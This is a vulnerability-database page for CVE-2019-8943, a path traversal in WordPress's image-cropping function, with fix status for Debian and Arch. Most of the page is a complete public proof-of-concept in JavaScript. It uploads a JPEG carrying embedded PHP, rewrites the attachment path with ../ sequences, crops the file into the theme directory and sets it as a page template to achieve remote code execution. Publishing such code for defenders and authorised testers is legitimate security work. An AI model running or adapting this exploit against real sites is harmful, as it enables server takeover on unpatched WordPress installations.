CVE-2019-8943
Description
WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)
WordPress Core 5.0 - Remote Code Execution
var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});
var attachurl = '/wp-admin/media-new.php';
var uploadurl = '/wp-admin/async-upload.php';
var editattachurl = '/wp-admin/post.php?post=PID&action=edit';
var editposturl = '/wp-admin/post.php';
var addposturl = '/wp-admin/post-new.php';
var cropurl = '/wp-admin/admin-ajax.php';
console.log("Get wpnonce token.");
jQuery.get(attachurl, function(data) {
wpnonce = jQuery(data).find('#file-form #_wpnonce').val();
if(wpnonce) {
console.log("Success! wpnonce: " + wpnonce);
var postdata = new FormData();
postdata.append('name', 'ebaldremal.jpg');
postdata.append('post_id', post_id);
postdata.append('_wpnonce', wpnonce);
postdata.append('short', 1);
// file
var phpimage = new File([byteArray], 'ebaldremal.jpg');
postdata.append('async-upload', phpimage);
console.log("Upload image with shell.");
jQuery.ajax({
url: uploadurl,
data: postdata,
cache: false,
contentType: false,
processData: false,
method: 'POST',
success: function(data){
if(jQuery.isNumeric(data)) {
post_id = data;
console.log("Success! Attach ID: " + post_id);
console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun.");
jQuery.get(editattachurl.replace('PID', post_id), function(data) {
var btnid = "#imgedit-open-btn-" + post_id;
wpnonce = jQuery(data).find('#post #_wpnonce').val();
ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];
imgurl = new URL(jQuery(data).find('#attachment_url').val());
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/any";
console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce);
if(wpnonce && ajaxnonce) {
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create help folder.");
postajaxdata = {
'_ajax_nonce': ajaxnonce,
'action': 'crop-image',
'id': post_id,
'cropDetails[width]': 1,
'cropDetails[height]': 1
}
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success! Help directory created.");
wp_attached_file = imgurl.pathname.match(/uploads\/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned";
console.log("Update _wp_attached_file meta key to: " + wp_attached_file);
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'meta_input[_wp_attached_file]': wp_attached_file
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success!");
console.log("Crop image for create evil jpg image inside twentynineteen theme folder.");
jQuery.post(cropurl, postajaxdata, function(data){
console.log("Success!");
console.log("Get wpnonce for create new post.");
jQuery.get(addposturl, function(data){
console.log("Create new post and use evil jpg image as template.");
if(jQuery(data).find('form.metabox-base-form').length) {
wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();
post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();
} else {
wpnonce = jQuery(data).find('#post #_wpnonce').val();
post_id = jQuery(data).find('#post #post_ID').val();
}
postdata = {
'_wpnonce': wpnonce,
'action': 'editpost',
'post_ID': post_id,
'post_title': 'RCE-HERE',
'visibility': 'public',
'publish': 'Publish',
'meta_input[_wp_page_template]': 'cropped-owned.jpg'
}
jQuery.post(editposturl, postdata, function(data){
console.log("Success! Browse post with id = " + post_id + " to trigger RCE.")
console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")");
window.open(imgurl.origin + "/?p=" + post_id, '_blank');
});
});
});
});
});
});
}
});
}
}
});
}
});
Metasploit modules
OS impact
Arch Fixed 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Fixed | 5.1-1 |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Unknown | — |
| sid | Unknown | — |
| forky | Unknown | — |
| bullseye | Unknown | — |
| bookworm | Unknown | — |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.